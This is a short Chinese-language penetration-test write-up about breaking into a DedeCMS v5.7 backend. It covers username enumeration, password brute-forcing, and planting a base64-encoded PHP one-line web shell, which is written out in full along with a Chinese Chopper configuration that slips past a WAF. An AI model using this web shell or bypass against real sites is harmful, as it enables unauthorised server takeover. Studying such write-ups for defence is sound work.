记一次织梦cms渗透测试
0x01 前言
本次测试的整个流程：枚举用户名-针对性暴破-登录后台-后台编辑php文件getshell。
0x02 过程
1、登录功能模块存在用户名枚举缺陷，利用此权限先枚举出用户名
2、登录功能模块无验证码，通过枚举出的用户名暴力破解出相应密码。并登录后台（dedecms v57）
3、开始遇到坑了。文件式管理器上传文件和新增广告等方式都无法getshell（貌似有waf）。一有动作，连接就会重置。
4、尝试直接编辑原有文件，将代码写入。
（1）写入phpinfo();可以成功
（2）写入常规一句话也能成功，但是执行时，连接会被重置
（3）写入base64编码一句话<?php @eval(base64_decode($_POST[‘0nth3way’]));?>，将数据编码后就可以成功执行了
5、菜刀修改配置文件caidao.conf如下，便可连接一句话木马。
<PHP_BASE> ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s </PHP_BASE>
6、菜刀成功连上一句话。权限：IIS用户
7、看到一个名为wkds.exe的进程，感觉是防护软件，没有深究。
8、第二天就凉了。
（1）马子还在，菜刀连不上了。能执行phpinfo();，不能执行system(‘whoami’)，查看phpinfo也没有禁用相关函数啊。问号脸？？？求解答0.0
（2）后台也无法编辑文件了
0x03 后记
本此测试get到几点：
（1）流量数据可编码绕过waf，菜刀改配置连接。
（2）及时行乐